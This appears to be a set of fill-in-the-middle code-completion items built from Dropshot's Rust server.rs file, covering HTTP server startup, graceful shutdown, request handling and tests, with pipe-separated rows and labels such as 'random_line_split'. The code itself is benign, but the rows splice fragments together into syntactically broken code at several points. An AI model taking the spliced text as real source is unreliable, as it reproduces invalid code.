* For graceful termination, the `close()` function is preferred, as it can
* report errors and wait for termination to complete. However, we impl
* `Drop` to attempt to shut down the server to handle less clean shutdowns
* (e.g., from failing tests).
*/
impl<C: ServerContext> Drop for HttpServer<C> {
fn drop(&mut self) {
if let Some(c) = self.close_channel.take() {
c.send(()).expect("failed to send close signal")
}
}
}
impl<C: ServerContext> Future for HttpServer<C> {
type Output = Result<(), String>;
fn poll(self: Pin<&mut Self>, cx: &mut Context<'_>) -> Poll<Self::Output> {
let server = Pin::into_inner(self);
let mut handle = server
.join_handle
.take()
.expect("polling a server future which has already completed");
let poll = handle.poll_unpin(cx).map(|result| {
result
.map_err(|error| format!("waiting for server: {}", error))?
.map_err(|error| format!("server stopped: {}", error))
});
if poll.is_pending() {
server.join_handle.replace(handle);
}
return poll;
}
}
impl<C: ServerContext> FusedFuture for HttpServer<C> {
fn is_terminated(&self) -> bool {
self.join_handle.is_none()
}
}
/**
* Initial entry point for handling a new connection to the HTTP server.
* This is invoked by Hyper when a new connection is accepted. This function
* must return a Hyper Service object that will handle requests for this
* connection.
*/
async fn http_connection_handle<C: ServerContext>(
server: Arc<DropshotState<C>>,
remote_addr: SocketAddr,
) -> Result<ServerRequestHandler<C>, GenericError> {
info!(server.log, "accepted connection"; "remote_addr" => %remote_addr);
Ok(ServerRequestHandler::new(server, remote_addr))
}
/**
* Initial entry point for handling a new request to the HTTP server. This is
* invoked by Hyper when a new request is received. This function returns a
* Result that either represents a valid HTTP response or an error (which will
* also get turned into an HTTP response).
*/
async fn http_request_handle_wrap<C: ServerContext>(
server: Arc<DropshotState<C>>,
remote_addr: SocketAddr,
request: Request<Body>,
) -> Result<Response<Body>, GenericError> {
/*
* This extra level of indirection makes error handling much more
* straightforward, since the request handling code can simply return early
* with an error and we'll treat it like an error from any of the endpoints
* themselves.
*/
let request_id = generate_request_id();
let request_log = server.log.new(o!(
"remote_addr" => remote_addr,
"req_id" => request_id.clone(),
"method" => request.method().as_str().to_string(),
"uri" => format!("{}", request.uri()),
));
trace!(request_log, "incoming request");
probes::request_start!(|| {
let uri = request.uri();
crate::RequestInfo {
id: request_id.clone(),
local_addr: server.local_addr,
remote_addr,
method: request.method().to_string(),
path: uri.path().to_string(),
query: uri.query().map(|x| x.to_string()),
}
});
// Copy local address to report later during the finish probe, as the
// server is passed by value to the request handler function.
let local_addr = server.local_addr;
let maybe_response = http_request_handle(
server,
request,
&request_id,
request_log.new(o!()),
)
.await;
let response = match maybe_response {
Err(error) => {
let message_external = error.external_message.clone();
let message_internal = error.internal_message.clone();
let r = error.into_response(&request_id);
probes::request_finish!(|| {
crate::ResponseInfo {
id: request_id.clone(),
local_addr,
remote_addr,
status_code: r.status().as_u16(),
message: message_external.clone(),
}
});
/* TODO-debug: add request and response headers here */
info!(request_log, "request completed";
"response_code" => r.status().as_str().to_string(),
"error_message_internal" => message_internal,
"error_message_external" => message_external,
);
r
}
Ok(response) => {
/* TODO-debug: add request and response headers here */
info!(request_log, "request completed";
"response_code" => response.status().as_str().to_string()
);
probes::request_finish!(|| {
crate::ResponseInfo {
id: request_id.parse().unwrap(),
local_addr,
remote_addr,
status_code: response.status().as_u16(),
message: "".to_string(),
}
});
response
}
};
Ok(response)
}
async fn http_request_handle<C: ServerContext>(
server: Arc<DropshotState<C>>,
request: Request<Body>,
request_id: &str,
request_log: Logger,
) -> Result<Response<Body>, HttpError> {
/*
* TODO-hardening: is it correct to (and do we correctly) read the entire
* request body even if we decide it's too large and are going to send a 400
* response?
* TODO-hardening: add a request read timeout as well so that we don't allow
* this to take forever.
* TODO-correctness: Do we need to dump the body on errors?
*/
let method = request.method();
let uri = request.uri();
let lookup_result =
server.router.lookup_route(&method, uri.path().into())?;
let rqctx = RequestContext {
server: Arc::clone(&server),
request: Arc::new(Mutex::new(request)),
path_variables: lookup_result.variables,
request_id: request_id.to_string(),
log: request_log,
};
let mut response = lookup_result.handler.handle_request(rqctx).await?;
response.headers_mut().insert(
HEADER_REQUEST_ID,
http::header::HeaderValue::from_str(&request_id).unwrap(),
);
Ok(response)
}
/*
* This function should probably be parametrized by some name of the service
* that is expected to be unique within an organization. That way, it would be
* possible to determine from a given request id which service it was from.
* TODO should we encode more information here? Service? Instance? Time up to
* the hour?
*/
fn generate_request_id() -> String {
format!("{}", Uuid::new_v4())
}
/**
* ServerConnectionHandler is a Hyper Service implementation that forwards
* incoming connections to `http_connection_handle()`, providing the server
* state object as an additional argument. We could use `make_service_fn` here
* using a closure to capture the state object, but the resulting code is a bit
* simpler without it.
*/
pub struct ServerConnectionHandler<C: ServerContext> {
/** backend state that will be made available to the connection handler */
server: Arc<DropshotState<C>>,
}
impl<C: ServerContext> ServerConnectionHandler<C> {
/**
* Create an ServerConnectionHandler with the given state object that
* will be made available to the handler.
*/
fn new(server: Arc<DropshotState<C>>) -> Self {
ServerConnectionHandler {
server,
}
}
}
impl<T: ServerContext> Service<&AddrStream> for ServerConnectionHandler<T> {
/*
* Recall that a Service in this context is just something that takes a
* request (which could be anything) and produces a response (which could be
* anything). This being a connection handler, the request type is an
* AddrStream (which wraps a TCP connection) and the response type is
* another Service: one that accepts HTTP requests and produces HTTP
* responses.
*/
type Response = ServerRequestHandler<T>;
type Error = GenericError;
type Future = BoxFuture<'static, Result<Self::Response, Self::Error>>;
fn poll_ready(
&mut self,
_cx: &mut Context<'_>,
) -> Poll<Result<(), Self::Error>> {
// TODO is this right?
Poll::Ready(Ok(()))
}
fn call(&mut self, conn: &AddrStream) -> Self::Future {
/*
* We're given a borrowed reference to the AddrStream, but our interface
* is async (which is good, so that we can support time-consuming
* operations as part of receiving requests). To avoid having to ensure
* that conn's lifetime exceeds that of this async operation, we simply
* copy the only useful information out of the conn: the SocketAddr. We
* may want to create our own connection type to encapsulate the socket
* address and any other per-connection state that we want to keep.
*/
let server = Arc::clone(&self.server);
let remote_addr = conn.remote_addr();
Box::pin(http_connection_handle(server, remote_addr))
}
}
/**
* ServerRequestHandler is a Hyper Service implementation that forwards
* incoming requests to `http_request_handle_wrap()`, including as an argument
* the backend server state object. We could use `service_fn` here using a
* closure to capture the server state object, but the resulting code is a bit
* simpler without all that.
*/
pub struct ServerRequestHandler<C: ServerContext> {
/** backend state that will be made available to the request handler */
server: Arc<DropshotState<C>>,
remote_addr: SocketAddr,
}
impl<C: ServerContext> ServerRequestHandler<C> {
/**
* Create a ServerRequestHandler object with the given state object that
* will be provided to the handler function.
*/
fn new(server: Arc<DropshotState<C>>, remote_addr: SocketAddr) -> Self {
ServerRequestHandler {
server,
remote_addr,
}
}
}
impl<C: ServerContext> Service<Request<Body>> for ServerRequestHandler<C> {
type Response = Response<Body>;
type Error = GenericError;
type Future = BoxFuture<'static, Result<Self::Response, Self::Error>>;
fn poll_ready(
&mut self,
_cx: &mut Context<'_>,
) -> Poll<Result<(), Self::Error>> {
// TODO is this right?
Poll::Ready(Ok(()))
}
fn call(&mut self, req: Request<Body>) -> Self::Future {
Box::pin(http_request_handle_wrap(
Arc::clone(&self.server),
self.remote_addr,
req,
))
}
}
#[cfg(test)]
mod test {
use super::*;
// Referring to the current crate as "dropshot::" instead of "crate::"
// helps the endpoint macro with module lookup.
use crate as dropshot;
use dropshot::endpoint;
use dropshot::test_util::ClientTestContext;
use dropshot::test_util::LogContext;
use dropshot::ConfigLogging;
use dropshot::ConfigLoggingLevel;
use dropshot::HttpError;
use dropshot::HttpResponseOk;
use dropshot::RequestContext;
use http::StatusCode;
use hyper::Method;
use futures::future::FusedFuture;
#[endpoint {
method = GET,
path = "/handler",
}]
async fn handler(
_rqctx: Arc<RequestContext<i32>>,
) -> Result<HttpResponseOk<u64>, HttpError> {
Ok(HttpResponseOk(3))
}
struct TestConfig {
log_context: LogContext,
}
impl TestConfig {
fn log(&self) -> &slog::Logger {
&self.log_context.log
}
}
fn create_test_server() -> (HttpServer<i32>, TestConfig) {
let config_dropshot = ConfigDropshot::default();
let mut api = ApiDescription::new();
api.register(handler).unwrap();
let config_logging = ConfigLogging::StderrTerminal {
level: ConfigLoggingLevel::Warn,
};
let log_context = LogContext::new("test server", &config_logging);
let log = &log_context.log;
let server = HttpServerStarter::new(&config_dropshot, api, 0, log)
.unwrap()
.start();
(server, TestConfig {
log_context,
})
}
async fn single_client_request(addr: SocketAddr, log: &slog::Logger) {
let client_log = log.new(o!("http_client" => "dropshot test suite"));
let client_testctx = ClientTestContext::new(addr, client_log);
tokio::task::spawn(async move {
let response = client_testctx
.make_request(
Method::GET,
"/handler",
None as Option<()>,
StatusCode::OK,
)
.await;
assert!(response.is_ok());
})
.await
.expect("client request failed");
}
#[tokio::test]
async fn test_server_run_then_close() {
let (mut server, config) = create_test_server();
let client = single_client_request(server.local_addr, config.log());
futures::select! {
_ = client.fuse() => {},
r = server => panic!("Server unexpectedly terminated: {:?}", r),
}
assert!(!server.is_terminated());
assert!(server.close().await.is_ok());
}
#[tokio::test]
async fn test_drop_server_without_close_okay() {
let (server, _) = create_test_server();
std::mem::drop(server);
}
}
| {
Ok(())
} | conditional_block |
server.rs | // Copyright 2020 Oxide Computer Company
/*!
* Generic server-wide state and facilities
*/
use super::api_description::ApiDescription;
use super::config::ConfigDropshot;
use super::error::HttpError;
use super::handler::RequestContext;
use super::http_util::HEADER_REQUEST_ID;
use super::probes;
use super::router::HttpRouter;
use super::ProbeRegistration;
use futures::future::BoxFuture;
use futures::future::FusedFuture;
use futures::future::FutureExt;
use futures::lock::Mutex;
use hyper::server::{
conn::{AddrIncoming, AddrStream},
Server,
};
use hyper::service::Service;
use hyper::Body;
use hyper::Request;
use hyper::Response;
use std::future::Future;
use std::net::SocketAddr;
use std::num::NonZeroU32;
use std::pin::Pin;
use std::sync::Arc;
use std::task::{Context, Poll};
use uuid::Uuid;
use slog::Logger;
/* TODO Replace this with something else? */
type GenericError = Box<dyn std::error::Error + Send + Sync>;
/**
* Endpoint-accessible context associated with a server.
*
* Automatically implemented for all Send + Sync types.
*/
pub trait ServerContext: Send + Sync + 'static {}
impl<T: 'static> ServerContext for T where T: Send + Sync {}
/**
* Stores shared state used by the Dropshot server.
*/
pub struct DropshotState<C: ServerContext> {
/** caller-specific state */
pub private: C,
/** static server configuration parameters */
pub config: ServerConfig,
/** request router */
pub router: HttpRouter<C>,
/** server-wide log handle */
pub log: Logger,
/** bound local address for the server. */
pub local_addr: SocketAddr,
}
/**
* Stores static configuration associated with the server
* TODO-cleanup merge with ConfigDropshot
*/
pub struct ServerConfig {
/** maximum allowed size of a request body */
pub request_body_max_bytes: usize,
/** maximum size of any page of results */
pub page_max_nitems: NonZeroU32,
/** default size for a page of results */
pub page_default_nitems: NonZeroU32,
}
/**
* A thin wrapper around a Hyper Server object that exposes some interfaces that
* we find useful.
*/
pub struct HttpServerStarter<C: ServerContext> {
app_state: Arc<DropshotState<C>>,
server: Server<AddrIncoming, ServerConnectionHandler<C>>,
local_addr: SocketAddr,
}
impl<C: ServerContext> HttpServerStarter<C> {
pub fn local_addr(&self) -> SocketAddr {
self.local_addr
}
/**
* Begins execution of the underlying Http server.
*/
pub fn start(self) -> HttpServer<C> {
let (tx, rx) = tokio::sync::oneshot::channel::<()>();
let log_close = self.app_state.log.new(o!());
let graceful = self.server.with_graceful_shutdown(async move {
rx.await.expect(
"dropshot server shutting down without invoking close()",
);
info!(log_close, "received request to begin graceful shutdown");
});
let join_handle = tokio::spawn(async { graceful.await });
let probe_registration = if cfg!(feature = "usdt-probes") {
match usdt::register_probes() {
Ok(_) => {
debug!(
self.app_state.log,
"successfully registered DTrace USDT probes"
);
ProbeRegistration::Succeeded | self.app_state.log,
"failed to register DTrace USDT probes: {}", msg
);
ProbeRegistration::Failed(msg)
}
}
} else {
debug!(
self.app_state.log,
"DTrace USDT probes compiled out, not registering"
);
ProbeRegistration::Disabled
};
HttpServer {
probe_registration,
app_state: self.app_state,
local_addr: self.local_addr,
join_handle: Some(join_handle),
close_channel: Some(tx),
}
}
/**
* Set up an HTTP server bound on the specified address that runs registered
* handlers. You must invoke `start()` on the returned instance of
* `HttpServerStarter` (and await the result) to actually start the server.
*
* TODO-cleanup We should be able to take a reference to the ApiDescription.
* We currently can't because we need to hang onto the router.
*/
pub fn new(
config: &ConfigDropshot,
api: ApiDescription<C>,
private: C,
log: &Logger,
) -> Result<HttpServerStarter<C>, hyper::Error> {
let incoming = AddrIncoming::bind(&config.bind_address)?;
let local_addr = incoming.local_addr();
/* TODO-cleanup too many Arcs? */
let app_state = Arc::new(DropshotState {
private,
config: ServerConfig {
/* We start aggressively to ensure test coverage. */
request_body_max_bytes: config.request_body_max_bytes,
page_max_nitems: NonZeroU32::new(10000).unwrap(),
page_default_nitems: NonZeroU32::new(100).unwrap(),
},
router: api.into_router(),
log: log.new(o!("local_addr" => local_addr)),
local_addr,
});
for (path, method, _) in &app_state.router {
debug!(app_state.log, "registered endpoint";
"method" => &method,
"path" => &path
);
}
let make_service = ServerConnectionHandler::new(Arc::clone(&app_state));
let builder = hyper::Server::builder(incoming);
let server = builder.serve(make_service);
info!(app_state.log, "listening");
Ok(HttpServerStarter {
app_state,
server,
local_addr,
})
}
pub fn app_private(&self) -> &C {
&self.app_state.private
}
}
/**
* A running Dropshot HTTP server.
*
* # Panics
*
* Panics if dropped without invoking `close`.
*/
pub struct HttpServer<C: ServerContext> {
probe_registration: ProbeRegistration,
app_state: Arc<DropshotState<C>>,
local_addr: SocketAddr,
join_handle: Option<tokio::task::JoinHandle<Result<(), hyper::Error>>>,
close_channel: Option<tokio::sync::oneshot::Sender<()>>,
}
impl<C: ServerContext> HttpServer<C> {
pub fn local_addr(&self) -> SocketAddr {
self.local_addr
}
pub fn app_private(&self) -> &C {
&self.app_state.private
}
/**
* Signals the currently running server to stop and waits for it to exit.
*/
pub async fn close(mut self) -> Result<(), String> {
self.close_channel
.take()
.expect("cannot close twice")
.send(())
.expect("failed to send close signal");
if let Some(handle) = self.join_handle.take() {
handle
.await
.map_err(|error| format!("waiting for server: {}", error))?
.map_err(|error| format!("server stopped: {}", error))
} else {
Ok(())
}
}
/**
* Return the result of registering the server's DTrace USDT probes.
*
* See [`ProbeRegistration`] for details.
*/
pub fn probe_registration(&self) -> &ProbeRegistration {
&self.probe_registration
}
}
/*
* For graceful termination, the `close()` function is preferred, as it can
* report errors and wait for termination to complete. However, we impl
* `Drop` to attempt to shut down the server to handle less clean shutdowns
* (e.g., from failing tests).
*/
impl<C: ServerContext> Drop for HttpServer<C> {
fn drop(&mut self) {
if let Some(c) = self.close_channel.take() {
c.send(()).expect("failed to send close signal")
}
}
}
impl<C: ServerContext> Future for HttpServer<C> {
type Output = Result<(), String>;
fn poll(self: Pin<&mut Self>, cx: &mut Context<'_>) -> Poll<Self::Output> {
let server = Pin::into_inner(self);
let mut handle = server
.join_handle
.take()
.expect("polling a server future which has already completed");
let poll = handle.poll_unpin(cx).map(|result| {
result
.map_err(|error| format!("waiting for server: {}", error))?
.map_err(|error| format!("server stopped: {}", error))
});
if poll.is_pending() {
server.join_handle.replace(handle);
}
return poll;
}
}
impl<C: ServerContext> FusedFuture for HttpServer<C> {
fn is_terminated(&self) -> bool {
self.join_handle.is_none()
}
}
/**
* Initial entry point for handling a new connection to the HTTP server.
* This is invoked by Hyper when a new connection is accepted. This function
* must return a Hyper Service object that will handle requests for this
* connection.
*/
async fn http_connection_handle<C: ServerContext>(
server: Arc<DropshotState<C>>,
remote_addr: SocketAddr,
) -> Result<ServerRequestHandler<C>, GenericError> {
info!(server.log, "accepted connection"; "remote_addr" => %remote_addr);
Ok(ServerRequestHandler::new(server, remote_addr))
}
/**
* Initial entry point for handling a new request to the HTTP server. This is
* invoked by Hyper when a new request is received. This function returns a
* Result that either represents a valid HTTP response or an error (which will
* also get turned into an HTTP response).
*/
async fn http_request_handle_wrap<C: ServerContext>(
server: Arc<DropshotState<C>>,
remote_addr: SocketAddr,
request: Request<Body>,
) -> Result<Response<Body>, GenericError> {
/*
* This extra level of indirection makes error handling much more
* straightforward, since the request handling code can simply return early
* with an error and we'll treat it like an error from any of the endpoints
* themselves.
*/
let request_id = generate_request_id();
let request_log = server.log.new(o!(
"remote_addr" => remote_addr,
"req_id" => request_id.clone(),
"method" => request.method().as_str().to_string(),
"uri" => format!("{}", request.uri()),
));
trace!(request_log, "incoming request");
probes::request_start!(|| {
let uri = request.uri();
crate::RequestInfo {
id: request_id.clone(),
local_addr: server.local_addr,
remote_addr,
method: request.method().to_string(),
path: uri.path().to_string(),
query: uri.query().map(|x| x.to_string()),
}
});
// Copy local address to report later during the finish probe, as the
// server is passed by value to the request handler function.
let local_addr = server.local_addr;
let maybe_response = http_request_handle(
server,
request,
&request_id,
request_log.new(o!()),
)
.await;
let response = match maybe_response {
Err(error) => {
let message_external = error.external_message.clone();
let message_internal = error.internal_message.clone();
let r = error.into_response(&request_id);
probes::request_finish!(|| {
crate::ResponseInfo {
id: request_id.clone(),
local_addr,
remote_addr,
status_code: r.status().as_u16(),
message: message_external.clone(),
}
});
/* TODO-debug: add request and response headers here */
info!(request_log, "request completed";
"response_code" => r.status().as_str().to_string(),
"error_message_internal" => message_internal,
"error_message_external" => message_external,
);
r
}
Ok(response) => {
/* TODO-debug: add request and response headers here */
info!(request_log, "request completed";
"response_code" => response.status().as_str().to_string()
);
probes::request_finish!(|| {
crate::ResponseInfo {
id: request_id.parse().unwrap(),
local_addr,
remote_addr,
status_code: response.status().as_u16(),
message: "".to_string(),
}
});
response
}
};
Ok(response)
}
async fn http_request_handle<C: ServerContext>(
server: Arc<DropshotState<C>>,
request: Request<Body>,
request_id: &str,
request_log: Logger,
) -> Result<Response<Body>, HttpError> {
/*
* TODO-hardening: is it correct to (and do we correctly) read the entire
* request body even if we decide it's too large and are going to send a 400
* response?
* TODO-hardening: add a request read timeout as well so that we don't allow
* this to take forever.
* TODO-correctness: Do we need to dump the body on errors?
*/
let method = request.method();
let uri = request.uri();
let lookup_result =
server.router.lookup_route(&method, uri.path().into())?;
let rqctx = RequestContext {
server: Arc::clone(&server),
request: Arc::new(Mutex::new(request)),
path_variables: lookup_result.variables,
request_id: request_id.to_string(),
log: request_log,
};
let mut response = lookup_result.handler.handle_request(rqctx).await?;
response.headers_mut().insert(
HEADER_REQUEST_ID,
http::header::HeaderValue::from_str(&request_id).unwrap(),
);
Ok(response)
}
/*
* This function should probably be parametrized by some name of the service
* that is expected to be unique within an organization. That way, it would be
* possible to determine from a given request id which service it was from.
* TODO should we encode more information here? Service? Instance? Time up to
* the hour?
*/
fn generate_request_id() -> String {
format!("{}", Uuid::new_v4())
}
/**
* ServerConnectionHandler is a Hyper Service implementation that forwards
* incoming connections to `http_connection_handle()`, providing the server
* state object as an additional argument. We could use `make_service_fn` here
* using a closure to capture the state object, but the resulting code is a bit
* simpler without it.
*/
pub struct ServerConnectionHandler<C: ServerContext> {
/** backend state that will be made available to the connection handler */
server: Arc<DropshotState<C>>,
}
impl<C: ServerContext> ServerConnectionHandler<C> {
/**
* Create an ServerConnectionHandler with the given state object that
* will be made available to the handler.
*/
fn new(server: Arc<DropshotState<C>>) -> Self {
ServerConnectionHandler {
server,
}
}
}
impl<T: ServerContext> Service<&AddrStream> for ServerConnectionHandler<T> {
/*
* Recall that a Service in this context is just something that takes a
* request (which could be anything) and produces a response (which could be
* anything). This being a connection handler, the request type is an
* AddrStream (which wraps a TCP connection) and the response type is
* another Service: one that accepts HTTP requests and produces HTTP
* responses.
*/
type Response = ServerRequestHandler<T>;
type Error = GenericError;
type Future = BoxFuture<'static, Result<Self::Response, Self::Error>>;
fn poll_ready(
&mut self,
_cx: &mut Context<'_>,
) -> Poll<Result<(), Self::Error>> {
// TODO is this right?
Poll::Ready(Ok(()))
}
fn call(&mut self, conn: &AddrStream) -> Self::Future {
/*
* We're given a borrowed reference to the AddrStream, but our interface
* is async (which is good, so that we can support time-consuming
* operations as part of receiving requests). To avoid having to ensure
* that conn's lifetime exceeds that of this async operation, we simply
* copy the only useful information out of the conn: the SocketAddr. We
* may want to create our own connection type to encapsulate the socket
* address and any other per-connection state that we want to keep.
*/
let server = Arc::clone(&self.server);
let remote_addr = conn.remote_addr();
Box::pin(http_connection_handle(server, remote_addr))
}
}
/**
* ServerRequestHandler is a Hyper Service implementation that forwards
* incoming requests to `http_request_handle_wrap()`, including as an argument
* the backend server state object. We could use `service_fn` here using a
* closure to capture the server state object, but the resulting code is a bit
* simpler without all that.
*/
pub struct ServerRequestHandler<C: ServerContext> {
/** backend state that will be made available to the request handler */
server: Arc<DropshotState<C>>,
remote_addr: SocketAddr,
}
impl<C: ServerContext> ServerRequestHandler<C> {
/**
* Create a ServerRequestHandler object with the given state object that
* will be provided to the handler function.
*/
fn new(server: Arc<DropshotState<C>>, remote_addr: SocketAddr) -> Self {
ServerRequestHandler {
server,
remote_addr,
}
}
}
impl<C: ServerContext> Service<Request<Body>> for ServerRequestHandler<C> {
type Response = Response<Body>;
type Error = GenericError;
type Future = BoxFuture<'static, Result<Self::Response, Self::Error>>;
fn poll_ready(
&mut self,
_cx: &mut Context<'_>,
) -> Poll<Result<(), Self::Error>> {
// TODO is this right?
Poll::Ready(Ok(()))
}
fn call(&mut self, req: Request<Body>) -> Self::Future {
Box::pin(http_request_handle_wrap(
Arc::clone(&self.server),
self.remote_addr,
req,
))
}
}
#[cfg(test)]
mod test {
use super::*;
// Referring to the current crate as "dropshot::" instead of "crate::"
// helps the endpoint macro with module lookup.
use crate as dropshot;
use dropshot::endpoint;
use dropshot::test_util::ClientTestContext;
use dropshot::test_util::LogContext;
use dropshot::ConfigLogging;
use dropshot::ConfigLoggingLevel;
use dropshot::HttpError;
use dropshot::HttpResponseOk;
use dropshot::RequestContext;
use http::StatusCode;
use hyper::Method;
use futures::future::FusedFuture;
#[endpoint {
method = GET,
path = "/handler",
}]
async fn handler(
_rqctx: Arc<RequestContext<i32>>,
) -> Result<HttpResponseOk<u64>, HttpError> {
Ok(HttpResponseOk(3))
}
struct TestConfig {
log_context: LogContext,
}
impl TestConfig {
fn log(&self) -> &slog::Logger {
&self.log_context.log
}
}
fn create_test_server() -> (HttpServer<i32>, TestConfig) {
let config_dropshot = ConfigDropshot::default();
let mut api = ApiDescription::new();
api.register(handler).unwrap();
let config_logging = ConfigLogging::StderrTerminal {
level: ConfigLoggingLevel::Warn,
};
let log_context = LogContext::new("test server", &config_logging);
let log = &log_context.log;
let server = HttpServerStarter::new(&config_dropshot, api, 0, log)
.unwrap()
.start();
(server, TestConfig {
log_context,
})
}
async fn single_client_request(addr: SocketAddr, log: &slog::Logger) {
let client_log = log.new(o!("http_client" => "dropshot test suite"));
let client_testctx = ClientTestContext::new(addr, client_log);
tokio::task::spawn(async move {
let response = client_testctx
.make_request(
Method::GET,
"/handler",
None as Option<()>,
StatusCode::OK,
)
.await;
assert!(response.is_ok());
})
.await
.expect("client request failed");
}
#[tokio::test]
async fn test_server_run_then_close() {
let (mut server, config) = create_test_server();
let client = single_client_request(server.local_addr, config.log());
futures::select! {
_ = client.fuse() => {},
r = server => panic!("Server unexpectedly terminated: {:?}", r),
}
assert!(!server.is_terminated());
assert!(server.close().await.is_ok());
}
#[tokio::test]
async fn test_drop_server_without_close_okay() {
let (server, _) = create_test_server();
std::mem::drop(server);
}
} | }
Err(e) => {
let msg = e.to_string();
error!( | random_line_split |
server.rs | // Copyright 2020 Oxide Computer Company
/*!
* Generic server-wide state and facilities
*/
use super::api_description::ApiDescription;
use super::config::ConfigDropshot;
use super::error::HttpError;
use super::handler::RequestContext;
use super::http_util::HEADER_REQUEST_ID;
use super::probes;
use super::router::HttpRouter;
use super::ProbeRegistration;
use futures::future::BoxFuture;
use futures::future::FusedFuture;
use futures::future::FutureExt;
use futures::lock::Mutex;
use hyper::server::{
conn::{AddrIncoming, AddrStream},
Server,
};
use hyper::service::Service;
use hyper::Body;
use hyper::Request;
use hyper::Response;
use std::future::Future;
use std::net::SocketAddr;
use std::num::NonZeroU32;
use std::pin::Pin;
use std::sync::Arc;
use std::task::{Context, Poll};
use uuid::Uuid;
use slog::Logger;
/* TODO Replace this with something else? */
type GenericError = Box<dyn std::error::Error + Send + Sync>;
/**
* Endpoint-accessible context associated with a server.
*
* Automatically implemented for all Send + Sync types.
*/
pub trait ServerContext: Send + Sync + 'static {}
impl<T: 'static> ServerContext for T where T: Send + Sync {}
/**
* Stores shared state used by the Dropshot server.
*/
pub struct DropshotState<C: ServerContext> {
/** caller-specific state */
pub private: C,
/** static server configuration parameters */
pub config: ServerConfig,
/** request router */
pub router: HttpRouter<C>,
/** server-wide log handle */
pub log: Logger,
/** bound local address for the server. */
pub local_addr: SocketAddr,
}
/**
* Stores static configuration associated with the server
* TODO-cleanup merge with ConfigDropshot
*/
pub struct ServerConfig {
/** maximum allowed size of a request body */
pub request_body_max_bytes: usize,
/** maximum size of any page of results */
pub page_max_nitems: NonZeroU32,
/** default size for a page of results */
pub page_default_nitems: NonZeroU32,
}
/**
* A thin wrapper around a Hyper Server object that exposes some interfaces that
* we find useful.
*/
pub struct HttpServerStarter<C: ServerContext> {
app_state: Arc<DropshotState<C>>,
server: Server<AddrIncoming, ServerConnectionHandler<C>>,
local_addr: SocketAddr,
}
impl<C: ServerContext> HttpServerStarter<C> {
pub fn local_addr(&self) -> SocketAddr {
self.local_addr
}
/**
* Begins execution of the underlying Http server.
*/
pub fn start(self) -> HttpServer<C> {
let (tx, rx) = tokio::sync::oneshot::channel::<()>();
let log_close = self.app_state.log.new(o!());
let graceful = self.server.with_graceful_shutdown(async move {
rx.await.expect(
"dropshot server shutting down without invoking close()",
);
info!(log_close, "received request to begin graceful shutdown");
});
let join_handle = tokio::spawn(async { graceful.await });
let probe_registration = if cfg!(feature = "usdt-probes") {
match usdt::register_probes() {
Ok(_) => {
debug!(
self.app_state.log,
"successfully registered DTrace USDT probes"
);
ProbeRegistration::Succeeded
}
Err(e) => {
let msg = e.to_string();
error!(
self.app_state.log,
"failed to register DTrace USDT probes: {}", msg
);
ProbeRegistration::Failed(msg)
}
}
} else {
debug!(
self.app_state.log,
"DTrace USDT probes compiled out, not registering"
);
ProbeRegistration::Disabled
};
HttpServer {
probe_registration,
app_state: self.app_state,
local_addr: self.local_addr,
join_handle: Some(join_handle),
close_channel: Some(tx),
}
}
/**
* Set up an HTTP server bound on the specified address that runs registered
* handlers. You must invoke `start()` on the returned instance of
* `HttpServerStarter` (and await the result) to actually start the server.
*
* TODO-cleanup We should be able to take a reference to the ApiDescription.
* We currently can't because we need to hang onto the router.
*/
pub fn new(
config: &ConfigDropshot,
api: ApiDescription<C>,
private: C,
log: &Logger,
) -> Result<HttpServerStarter<C>, hyper::Error> {
let incoming = AddrIncoming::bind(&config.bind_address)?;
let local_addr = incoming.local_addr();
/* TODO-cleanup too many Arcs? */
let app_state = Arc::new(DropshotState {
private,
config: ServerConfig {
/* We start aggressively to ensure test coverage. */
request_body_max_bytes: config.request_body_max_bytes,
page_max_nitems: NonZeroU32::new(10000).unwrap(),
page_default_nitems: NonZeroU32::new(100).unwrap(),
},
router: api.into_router(),
log: log.new(o!("local_addr" => local_addr)),
local_addr,
});
for (path, method, _) in &app_state.router {
debug!(app_state.log, "registered endpoint";
"method" => &method,
"path" => &path
);
}
let make_service = ServerConnectionHandler::new(Arc::clone(&app_state));
let builder = hyper::Server::builder(incoming);
let server = builder.serve(make_service);
info!(app_state.log, "listening");
Ok(HttpServerStarter {
app_state,
server,
local_addr,
})
}
pub fn app_private(&self) -> &C {
&self.app_state.private
}
}
/**
* A running Dropshot HTTP server.
*
* # Panics
*
* Panics if dropped without invoking `close`.
*/
pub struct HttpServer<C: ServerContext> {
probe_registration: ProbeRegistration,
app_state: Arc<DropshotState<C>>,
local_addr: SocketAddr,
join_handle: Option<tokio::task::JoinHandle<Result<(), hyper::Error>>>,
close_channel: Option<tokio::sync::oneshot::Sender<()>>,
}
impl<C: ServerContext> HttpServer<C> {
pub fn local_addr(&self) -> SocketAddr {
self.local_addr
}
pub fn app_private(&self) -> &C {
&self.app_state.private
}
/**
* Signals the currently running server to stop and waits for it to exit.
*/
pub async fn close(mut self) -> Result<(), String> {
self.close_channel
.take()
.expect("cannot close twice")
.send(())
.expect("failed to send close signal");
if let Some(handle) = self.join_handle.take() {
handle
.await
.map_err(|error| format!("waiting for server: {}", error))?
.map_err(|error| format!("server stopped: {}", error))
} else {
Ok(())
}
}
/**
* Return the result of registering the server's DTrace USDT probes.
*
* See [`ProbeRegistration`] for details.
*/
pub fn probe_registration(&self) -> &ProbeRegistration {
&self.probe_registration
}
}
/*
* For graceful termination, the `close()` function is preferred, as it can
* report errors and wait for termination to complete. However, we impl
* `Drop` to attempt to shut down the server to handle less clean shutdowns
* (e.g., from failing tests).
*/
impl<C: ServerContext> Drop for HttpServer<C> {
fn drop(&mut self) {
if let Some(c) = self.close_channel.take() {
c.send(()).expect("failed to send close signal")
}
}
}
impl<C: ServerContext> Future for HttpServer<C> {
type Output = Result<(), String>;
fn poll(self: Pin<&mut Self>, cx: &mut Context<'_>) -> Poll<Self::Output> {
let server = Pin::into_inner(self);
let mut handle = server
.join_handle
.take()
.expect("polling a server future which has already completed");
let poll = handle.poll_unpin(cx).map(|result| {
result
.map_err(|error| format!("waiting for server: {}", error))?
.map_err(|error| format!("server stopped: {}", error))
});
if poll.is_pending() {
server.join_handle.replace(handle);
}
return poll;
}
}
impl<C: ServerContext> FusedFuture for HttpServer<C> {
fn is_terminated(&self) -> bool {
self.join_handle.is_none()
}
}
/**
* Initial entry point for handling a new connection to the HTTP server.
* This is invoked by Hyper when a new connection is accepted. This function
* must return a Hyper Service object that will handle requests for this
* connection.
*/
async fn http_connection_handle<C: ServerContext>(
server: Arc<DropshotState<C>>,
remote_addr: SocketAddr,
